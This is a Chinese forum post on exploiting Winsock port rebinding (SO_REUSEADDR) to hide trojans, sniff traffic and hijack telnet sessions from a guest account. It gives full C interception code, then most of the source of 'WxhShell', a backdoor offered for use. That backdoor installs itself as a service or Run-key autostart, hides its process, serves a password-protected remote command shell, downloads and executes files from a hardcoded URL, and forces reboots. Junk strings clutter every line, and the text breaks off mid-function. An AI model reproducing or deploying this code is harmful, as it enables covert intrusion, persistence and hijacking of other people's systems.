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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {[~cQgCI  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); tW4|\-E"s4  
PMER~}^  
  saddr.sin_family = AF_INET; Y0`@$d&n  
nA:\G":\y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); GRV#f06  
0?hJ!IT;q7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); nX,2jT;@L  
= WFn+#&^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7?Vo([8  
aChyl;#E  
  这意味着什么?意味着可以进行如下的攻击: +DMD g.  
kigq(a  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 vK\n4mE[,  
CG!/Lbd  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Q>qx? g  
"/ G^+u  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 f>$Ld1  
;Ml??B]C  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  M{#  
LgN\%5f-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !vNZ- }  
'BY{]{SL  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  X$:r  
WVaIC$Y  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Sn 3@+9J  
b'\a 4  
  #include %YjZF[P  
  #include cR.[4rG'  
  #include FwU*]wx|{  
  #include    gY'w=(/`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   VO"f=gFg  
  int main() WR'm<u  
  { r?Y+TtF\e  
  WORD wVersionRequested; uYW9kw>$  
  DWORD ret; tEEeek(!  
  WSADATA wsaData; #P:o  
  BOOL val; iwb]mJUA  
  SOCKADDR_IN saddr; @.T w*t  
  SOCKADDR_IN scaddr; JN;92|x  
  int err; V. sIiE  
  SOCKET s; ~I^}'^Dbb  
  SOCKET sc; 1eG@?~G  
  int caddsize; 6n9;t\'Gt  
  HANDLE mt; -P!_<\q\l  
  DWORD tid;   TUeW-'/1  
  wVersionRequested = MAKEWORD( 2, 2 ); 7bBOV(/s  
  err = WSAStartup( wVersionRequested, &wsaData ); 56!>}!8!  
  if ( err != 0 ) { -]=-IiC#  
  printf("error!WSAStartup failed!\n"); rN3i5.*/t  
  return -1; >?b<)Q*<  
  } utk'joo  
  saddr.sin_family = AF_INET; F$a?} }  
   V,>_L  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 qta^i819  
/+pPcK  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); C4V#qhj  
  saddr.sin_port = htons(23); Jz(!eTVs  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =\v./Q-  
  { W`zY\]  
  printf("error!socket failed!\n"); 7/c[ f  
  return -1;  4{2)ZI#  
  } " bHeNWZ  
  val = TRUE; Wj N0KA  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 rx^vh%/ Q!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) v@OyB7}  
  { lNV%R(  
  printf("error!setsockopt failed!\n"); BaSNr6 YW  
  return -1; I W_:nm6  
  } [E_+fT  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; N_jCx*.G  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r Ntc{{3_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {bF95Hs-  
.;gK*`G2W)  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) gR `:)>  
  { d\nBc6  
  ret=GetLastError(); oYWcX9R  
  printf("error!bind failed!\n"); $#V ^CmW.  
  return -1; k^A Y g!~  
  } cE x$cZRMI  
  listen(s,2); !ra CpL9;  
  while(1) |.D_[QI  
  { 5u ED  
  caddsize = sizeof(scaddr); ~<0!sE&y  
  //接受连接请求 6km{= ```  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,}&E=5MF\  
  if(sc!=INVALID_SOCKET) %SV"iXxY  
  { % I]?xe6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); y]OW{5(  
  if(mt==NULL) T7W*S-IW  
  { \Fh k>  
  printf("Thread Creat Failed!\n"); hv xvwV1  
  break; z~d\d!u1  
  } )r O`K  
  } F\. n42Tz  
  CloseHandle(mt); nU"V@_?\  
  } *qcL(] Yq  
  closesocket(s); 4_,l[BhsQG  
  WSACleanup(); /Cd`h ;#@  
  return 0; ],r?]>  
  }   "i$uV3d  
  DWORD WINAPI ClientThread(LPVOID lpParam) -C$Z%I7 0  
  { /*GRE#7S  
  SOCKET ss = (SOCKET)lpParam; cK.T=7T  
  SOCKET sc; md[FtcY\  
  unsigned char buf[4096]; W-Cf#o  
  SOCKADDR_IN saddr; EXz5Rue LV  
  long num; I>b-w;cC  
  DWORD val; +NRn>1]  
  DWORD ret; hA`>SkO  
  //如果是隐藏端口应用的话,可以在此处加一些判断 [woR9azC  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0y4z`rzTn  
  saddr.sin_family = AF_INET; }z&P^p)R  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Y[8w0ve- g  
  saddr.sin_port = htons(23); J.x>*3< l  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D5X;hd  
  { 5*1wQlL  
  printf("error!socket failed!\n"); 1r}fnT<  
  return -1; r=.A'"Kf  
  } BqK(DH^9N  
  val = 100; !~i' -4]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z~  
  { 4'1m4Ugg  
  ret = GetLastError(); /b#l^x:j  
  return -1; Ta=s:trP  
  } @@G6p($  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -e GL)M  
  { W!Gdf^Yy<  
  ret = GetLastError(); (.Y/  
  return -1; rh*sbZ68>E  
  } 1Tp/MV/>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) K>:]Bx#F7  
  { k;W@LfP  
  printf("error!socket connect failed!\n"); OHr Y(I6  
  closesocket(sc); ZD/jX_!t  
  closesocket(ss); +0wT!DZW\=  
  return -1; l\0w;:N3  
  } n"Veem[_4g  
  while(1) !%(h2]MQ  
  { Fh|#u:n  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 SymwAS+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 R7 jmv n  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >r@.F%  
  num = recv(ss,buf,4096,0); Bh`N[\r  
  if(num>0) +avMX&%  
  send(sc,buf,num,0); YUU-D(  
  else if(num==0) G6P)C##ibn  
  break; E(pF:po  
  num = recv(sc,buf,4096,0); {PU!=IkTS  
  if(num>0) 'wasZ b<^  
  send(ss,buf,num,0); UB`ToE|Ii  
  else if(num==0) Df =dt  
  break; YV% 5y1 i  
  } pW0dB_  
  closesocket(ss); :e1o<JgPt  
  closesocket(sc); !`JHH&  
  return 0 ; aVs(EHF  
  } T  VmH  
^[E' 1$D  
Ox!U8g8c  
========================================================== lH^^77"4Qo  
%.v{N6  
下边附上一个代码,,WXhSHELL DhLqhME53  
sAn0bX  
========================================================== N{SQ( %V  
^$>XW\yCs  
#include "stdafx.h" ~[o 4a'  
Qp,DL@mp>8  
#include <stdio.h> `N//A}9  
#include <string.h> ]Y>h3T~  
#include <windows.h> U6ZR->:  
#include <winsock2.h> mbRq JT>@  
#include <winsvc.h> gF=jf2{YX  
#include <urlmon.h> D%mXA70  
W1Lr_z6  
#pragma comment (lib, "Ws2_32.lib") +6$g! S5{  
#pragma comment (lib, "urlmon.lib") 8(g:HR*;  
b+-f.!j  
#define MAX_USER   100 // 最大客户端连接数 XKA&XpF  
#define BUF_SOCK   200 // sock buffer 5vAf7\*  
#define KEY_BUFF   255 // 输入 buffer @oF$LMD  
]r! >{  
#define REBOOT     0   // 重启 j:T/iH!YF  
#define SHUTDOWN   1   // 关机 []R? ViG  
o; a:Dd  
#define DEF_PORT   5000 // 监听端口 6Tw#^;q-  
=\#%j|9N9  
#define REG_LEN     16   // 注册表键长度 {gA\ph% s  
#define SVC_LEN     80   // NT服务名长度 L TV{{Z+  
ZoB*0H-  
// 从dll定义API @$"J|s3M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mffn//QS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); NgCuFL(Ic  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u?Tpi[ #  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5AS[\CB4  
\I-#1M  
// wxhshell配置信息 TC~Q G$NW  
struct WSCFG { ne61}F"E  
  int ws_port;         // 监听端口 -! ;l~#K=  
  char ws_passstr[REG_LEN]; // 口令 G&xo1K]  
  int ws_autoins;       // 安装标记, 1=yes 0=no hv6@Jr3  
  char ws_regname[REG_LEN]; // 注册表键名 iqQUtE]E_  
  char ws_svcname[REG_LEN]; // 服务名 GuZ ( &G6*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4H5pr  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jN-vY<?h]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Tu{&v'!j6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J`q]6qf#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q-Ux<#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \l"&A  
%<?0apO  
}; E5el?=,i  
bPD`+: A_  
// default Wxhshell configuration 8(.mt/MR  
struct WSCFG wscfg={DEF_PORT, R+q"_90_  
    "xuhuanlingzhe", V}d 9f 2  
    1, I KtB;  
    "Wxhshell", s]T""-He  
    "Wxhshell", l kyzNy9R  
            "WxhShell Service", Mypc3  
    "Wrsky Windows CmdShell Service", &R|/t :DN  
    "Please Input Your Password: ", fP tm0.r  
  1, (>6*#9#p  
  "http://www.wrsky.com/wxhshell.exe", +x9cT G  
  "Wxhshell.exe" {e|*01hE  
    }; .6O"| Mqb  
o-xDh7v  
// 消息定义模块 9Suu-A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wiaX&-c]8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; IM$2VlC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w{~+EolK  
char *msg_ws_ext="\n\rExit."; ms($9Lv/  
char *msg_ws_end="\n\rQuit."; ~^u16z,  
char *msg_ws_boot="\n\rReboot..."; Wk:hFHs3  
char *msg_ws_poff="\n\rShutdown..."; E_F5(x SA  
char *msg_ws_down="\n\rSave to "; }R3=fbe,\  
+$xeoxU>;  
char *msg_ws_err="\n\rErr!"; Q'+MFld   
char *msg_ws_ok="\n\rOK!"; P o jmC  
E^GHVt/.  
char ExeFile[MAX_PATH]; Tmh(= TB'  
int nUser = 0; a$"ib  
HANDLE handles[MAX_USER]; 87 }&`  
int OsIsNt; fP3_d  
9_\'LJ  
SERVICE_STATUS       serviceStatus; 6.5T/D*TT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {X2`&<i6  
BR'I+lQ  
// 函数声明 ,BFE=:ZIK  
int Install(void); "fg](Cp[z  
int Uninstall(void); "dR |[a<#g  
int DownloadFile(char *sURL, SOCKET wsh); $M_x!f'{>  
int Boot(int flag); @)kO=E d  
void HideProc(void); DjU9 uZT  
int GetOsVer(void); SVjl~U-^  
int Wxhshell(SOCKET wsl); Xi?b]Z  
void TalkWithClient(void *cs); pE{yv1Yg  
int CmdShell(SOCKET sock); )$w*V9d  
int StartFromService(void); r'CM  
int StartWxhshell(LPSTR lpCmdLine); r1ws1 rr=  
7iHK_\tn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2L AYDaS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V`adWXu  
h8\  T  
// 数据结构和表定义 th6+2&B6  
SERVICE_TABLE_ENTRY DispatchTable[] = Qn ^bVhG+  
{ o7B[R) 4  
{wscfg.ws_svcname, NTServiceMain}, n~g)I&  
{NULL, NULL} ]zO/A4  
}; :16P.z1L  
T!wo2EzE  
// 自我安装 Te2zK7:  
int Install(void) < RCLI|  
{ Rwr 2gMt7  
  char svExeFile[MAX_PATH]; H Te<x  
  HKEY key; h' !imQ  
  strcpy(svExeFile,ExeFile); \%sVHt`c  
,>t69 Ad  
// 如果是win9x系统,修改注册表设为自启动 \#68;)+=  
if(!OsIsNt) { Ku&!?m@C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %/>xO3"T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X2tk[Kr  
  RegCloseKey(key); K^_i%~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9]t[J_YM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BmHwu{n'  
  RegCloseKey(key); MNH1D! }  
  return 0; Y(\T- bI  
    } )BfT7{WN  
  } ^kS T  
} .(J?a"  
else { iHf-{[[Z  
{pb>$G:gfx  
// 如果是NT以上系统,安装为系统服务 /7!""{1\\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @/r^%G  
if (schSCManager!=0) 6t/`:OZC:  
{ SI:U0gUc  
  SC_HANDLE schService = CreateService m/NdJMoN=  
  ( 3] 1-M  
  schSCManager, OB ~X/  
  wscfg.ws_svcname, ExHKw~y9  
  wscfg.ws_svcdisp, IV lf=k  
  SERVICE_ALL_ACCESS, %4 \OPw&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9WJz~SP+vR  
  SERVICE_AUTO_START, E~<`/s  
  SERVICE_ERROR_NORMAL, IrMl:+t\  
  svExeFile, 1FtM>&%4  
  NULL, uxg9yp@|  
  NULL, X0 -IRJ[  
  NULL, dD<fn9t  
  NULL, TO2c"7td  
  NULL Mg#j3W}]  
  ); 2MA]jT  
  if (schService!=0) 9w9jpe#  
  { )otb>w5  
  CloseServiceHandle(schService); DO7W}WU  
  CloseServiceHandle(schSCManager); ~OePp a\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u*  
  strcat(svExeFile,wscfg.ws_svcname); :';L/x>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cI]WrI2CQa  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?Qb<-~~ j1  
  RegCloseKey(key); T5Dw0Y6u,  
  return 0; ,ZblI O Wb  
    } jL)WPq!m+  
  } 1b8p~-LsU  
  CloseServiceHandle(schSCManager); 4@.|_zY  
} %3HVFhl  
} Kb =@ =Xta  
Z ,^9 Z  
return 1; ^I KO2Ft  
} `IYuz:  
 p0.|<  
// 自我卸载 M4ozTp<$O  
int Uninstall(void) K/ &?VIi`z  
{ ND<!4!R^  
  HKEY key; 8@NH%zWBp  
:Q+5,v-c  
if(!OsIsNt) { :|o<SZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ylKmj]A  
  RegDeleteValue(key,wscfg.ws_regname); 9+,R`v  
  RegCloseKey(key); t6c<kIQ:-O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v){ .Z^_C  
  RegDeleteValue(key,wscfg.ws_regname); jkiTj~WE-  
  RegCloseKey(key); I8OD$`~*U6  
  return 0; uS&| "*pR  
  } Ax oD8|  
} 6 \B0^  
} xoB},Xl$D  
else { OL7_'2_z.  
~lEVXea!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %AF5=  
if (schSCManager!=0) ,wKe fpV;5  
{ "l={)=R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); va f&X]p  
  if (schService!=0) )'l*Tl  
  { A?G IBjs  
  if(DeleteService(schService)!=0) { 4`#F^2r!  
  CloseServiceHandle(schService); vi@Lz3}::  
  CloseServiceHandle(schSCManager); )m3q2W  
  return 0; &;LqF#ZL  
  } *`( <'Z  
  CloseServiceHandle(schService); T ^A b!O  
  } lCW8<g^  
  CloseServiceHandle(schSCManager); ~}Z\:#U  
} E^w:KC2@  
} ZxGP/D  
= sAn,ri  
return 1; p8wyEHB  
} s=?aox7  
Bh&Ew   
// 从指定url下载文件 W"L&fV+3  
int DownloadFile(char *sURL, SOCKET wsh) JcJmds  
{ 0oy-os  
  HRESULT hr; jClj_E  
char seps[]= "/"; 7\o!HMfK  
char *token; H1!iP$1#V  
char *file; SM[Bv9|0  
char myURL[MAX_PATH]; HxK$4I`  
char myFILE[MAX_PATH]; 8\<jyJ  
&Bx J  
strcpy(myURL,sURL); -Xz?s  
  token=strtok(myURL,seps); OT %nrzP  
  while(token!=NULL) 1Xy]D  
  { uGdp@]z&8Q  
    file=token; BiE08,nj  
  token=strtok(NULL,seps); AvR2_  
  } TJ?g%  
=Nz0.:  
GetCurrentDirectory(MAX_PATH,myFILE); 0"pVT%b  
strcat(myFILE, "\\"); _F p>F  
strcat(myFILE, file); OPpjuIRv  
  send(wsh,myFILE,strlen(myFILE),0); n{*e 9Aw  
send(wsh,"...",3,0); F2(q>#<_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v;{{ y-  
  if(hr==S_OK) Uadr># C*  
return 0; w^K^I_2ge  
else I PE}gp  
return 1; _eLWQ|6Fx  
59(U`X  
} QD{:vG g  
`h;k2Se5  
// 系统电源模块 lC 97_ T  
int Boot(int flag) dAJ,x =`  
{ '+<(;2Z vL  
  HANDLE hToken; Vbh6HqAHxJ  
  TOKEN_PRIVILEGES tkp; `,wu}F85  
PXP`ZLF  
  if(OsIsNt) { ')+0nPV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O?bK%P]ay  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {5c]Mn"r  
    tkp.PrivilegeCount = 1; N#N0Q0W=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X7UBopm&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E jEFg#q  
if(flag==REBOOT) { mzL[/B#>M  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]O:M$ $  
  return 0; ps1YQ3Ep&  
} ;D ~L|  
else { lfk9+)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JU0]Wq<^[  
  return 0; %R_{1GrL'c  
} m$>iS@R  
  } =fc: 6JR  
  else { ^ L:cjY/  
if(flag==REBOOT) { zH)_vW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9-*NW0  
  return 0; ~Y5l+EF#  
} V6iL5&  
else { kL@Wb/K JP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) dOa!htx]  
  return 0; S_J :&9L  
} "YFls#4H-  
} h?@G$%2  
)tZ`K |  
return 1; .M|>u_<Qd  
} f<[jwhCWV  
i~=s^8n`l  
// win9x进程隐藏模块 l52a\/  
void HideProc(void) jSt mS2n  
{ k D~uGA  
Y{Ap80'\6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zLjgCS<7  
  if ( hKernel != NULL ) g+q@i{Yn  
  { E|Bd>G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $]d*0^J 6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^Uw[x\%#gD  
    FreeLibrary(hKernel); {sN"( H4$  
  } lpQP"%q  
TZ^LA L'8_  
return; aP~gaSx  
} ph30'"[Z}  
Qb^q+C)o]  
// 获取操作系统版本 wN]J8Ir  
int GetOsVer(void) ;M v~yb3v  
{ {'3D1#SK  
  OSVERSIONINFO winfo; +KK$0pL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >POO-8Q  
  GetVersionEx(&winfo); f~& a-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fhpX/WE6  
  return 1; V: p)m&y6  
  else gqiXmMm:9  
  return 0; tR`S#rk  
} #JNy  
gzfbzt}?  
// 客户端句柄模块 H9"=  p  
int Wxhshell(SOCKET wsl) oC dGQ7G}  
{ \4~AI=aw,T  
  SOCKET wsh; HR{s&ho  
  struct sockaddr_in client; 6o}V@UzqV  
  DWORD myID; ]Bu DaxWN  
%&] 1FhL  
  while(nUser<MAX_USER) p]LnE `v  
{ )y50Mb0+  
  int nSize=sizeof(client); &H;8QZ8uw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p,#6 @*  
  if(wsh==INVALID_SOCKET) return 1; ;"7/@&M\m  
&{^eU5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6TFo|z!C  
if(handles[nUser]==0) mVf.sA8  
  closesocket(wsh); mX_)b>iW  
else 1 tfYsg=O  
  nUser++; Ygj6(2  
  } 3A0_C?E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fp !:u  
L=A\ J^%  
  return 0; =3+L#P=i9  
} {Bs+G/?o/  
O8RzUg&  
// 关闭 socket xEoip?O?7F  
void CloseIt(SOCKET wsh) r#h {$iW  
{ >[K?fJ$+  
closesocket(wsh); $4j^1U`~)K  
nUser--; )h"Fla  
ExitThread(0); }""p)Y&  
} XeUprN  
Y}1 P~  
// 客户端请求句柄 X\A]"su  
void TalkWithClient(void *cs) CyTFb$Z  
{ )mD \d|7f  
pDDG_4E>  
  SOCKET wsh=(SOCKET)cs; !RMS+Mm?  
  char pwd[SVC_LEN]; _ VKgs]Y  
  char cmd[KEY_BUFF]; edN8-P(  
char chr[1]; z-Hkz  
int i,j; : ^(nj7D  
*FPg#a+  
  while (nUser < MAX_USER) { I)[B9rbe  
!A-;NGxE  
if(wscfg.ws_passstr) { QWhp:] }  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q]i[.ME  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f)gGH'yOQ  
  //ZeroMemory(pwd,KEY_BUFF); 6o lV+  
      i=0; kkfCAM  
  while(i<SVC_LEN) { RjtC:H&XZ  
-N^ =@Yx)  
  // 设置超时 ' o=E!?  
  fd_set FdRead; ~I)uWo  
  struct timeval TimeOut; F ?mA1T>x  
  FD_ZERO(&FdRead); 9/46%=&]  
  FD_SET(wsh,&FdRead); d=n h  
  TimeOut.tv_sec=8; c,BAa*]K  
  TimeOut.tv_usec=0; j;0ih_Z@4W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); iPFL"v<#J  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M7 p8^NL  
NKh,z& _5-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u[[/w&UV.,  
  pwd=chr[0]; (-2R{! A  
  if(chr[0]==0xd || chr[0]==0xa) { }:^XX0:FK  
  pwd=0; KZ\dB;W< |  
  break; 6aSM*S)  
  } _h~p:=  
  i++; c% yh(g  
    } fv|%Ocm  
o[{&!t  
  // 如果是非法用户,关闭 socket }~GV'7d1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q0SW;o7  
} XPVV+.  
g^n;IE$B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ORtg>az\%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =F[lg?g  
3:O+GQ*  
while(1) { W :>J864!  
mS7E_A8  
  ZeroMemory(cmd,KEY_BUFF); wy\o*P9mG)  
z@n+7p`w  
      // 自动支持客户端 telnet标准   Sgx+V"bkT  
  j=0; VVN # $  
  while(j<KEY_BUFF) { A?sNXhh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Jmy)J!ib*  
  cmd[j]=chr[0]; g1dmkX  
  if(chr[0]==0xa || chr[0]==0xd) { ZpTi:3>  
  cmd[j]=0; 3Pa3f >}-  
  break; ])68wqD  
  } kI]=&Rw  
  j++; { "}+V`O{  
    } 7(5]Ry:  
yHtGp%j  
  // 下载文件 8tC+ lc  
  if(strstr(cmd,"http://")) { (V^QQ !:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [BE:+ ID3  
  if(DownloadFile(cmd,wsh)) )_F(H)*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X%35XC.n  
  else & ]%\.m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); - YAO3  
  } n4XMN\:g{  
  else { Tu'E{Hw  
"1CGO@AXS  
    switch(cmd[0]) { R>` ih&,)  
  8|Q4-VK<!  
  // 帮助 IwnYJp:9v  
  case '?': { Ta,u-!/ I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y!BB7cK6  
    break; n<+~ zQ  
  } - Ra\^uz  
  // 安装 'bG1U`v=3  
  case 'i': { (T4k~T`3  
    if(Install()) UT % #K%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I}1fEw>8  
    else ?Ip$;s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0rGj|@+;  
    break; yCZ2^P!a  
    } ]~ >@%v&  
  // 卸载 ?<g|.HY/  
  case 'r': { CARq^xI-  
    if(Uninstall()) i{4'cdr?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '%3u%;"  
    else ?F!W#   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XZ!cW=bqS  
    break; .;cxhgU  
    } <&*#famX  
  // 显示 wxhshell 所在路径 &boj$ k!g[  
  case 'p': { i<0D Z_rub  
    char svExeFile[MAX_PATH]; =nw,*q +  
    strcpy(svExeFile,"\n\r"); YcEtgpz@  
      strcat(svExeFile,ExeFile); }isCv b  
        send(wsh,svExeFile,strlen(svExeFile),0); 8x` Kl(  
    break; ,d3Q+9/  
    } \;'_|bu3.  
  // 重启 ;}$Z 80  
  case 'b': { B?!9W@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .$n$%|"H-  
    if(Boot(REBOOT)) w 5!ndu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z^ YeMe  
    else { _95- -\  
    closesocket(wsh); ;sm"\.jF  
    ExitThread(0); !XkymIX~O.  
    } k{zs578h2  
    break; 7=; D0SS  
    } t@l(xnsV  
  // 关机 .Gjr`6R  
  case 'd': { dw'<"+zO  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6sO  
